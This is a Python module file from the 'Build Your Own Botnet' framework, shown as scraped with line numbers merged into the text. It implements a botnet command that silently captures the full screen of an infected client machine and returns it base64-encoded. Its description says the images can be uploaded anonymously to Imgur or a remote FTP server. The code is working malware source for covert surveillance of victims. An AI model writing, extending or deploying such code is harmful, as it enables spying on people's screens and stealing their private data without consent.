Path: blob/master/web-gui/buildyourownbotnet/modules/screenshot.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Screenshot (Build Your Own Botnet)'34# standard library5import base6467# packages8import mss910# modules11import util1213# globals14command = True15packages = ['mss','util']16platforms = ['win32','linux2','darwin']17usage = 'screenshot [imgur/ftp] [option=value, ...]'18description = """19Capture a screenshot on the client and optionally upload anonymously to20Imgur or to a remote FTP server (default: save image on local host machine)21"""2223# main24def run():25"""26Capture a screenshot2728"""29try:30with mss.mss() as screen:31img = screen.grab(screen.monitors[0])32data = util.png(img)33return base64.b64encode(data)34except Exception as e:35return "{} error: {}".format(run.__name__, str(e))363738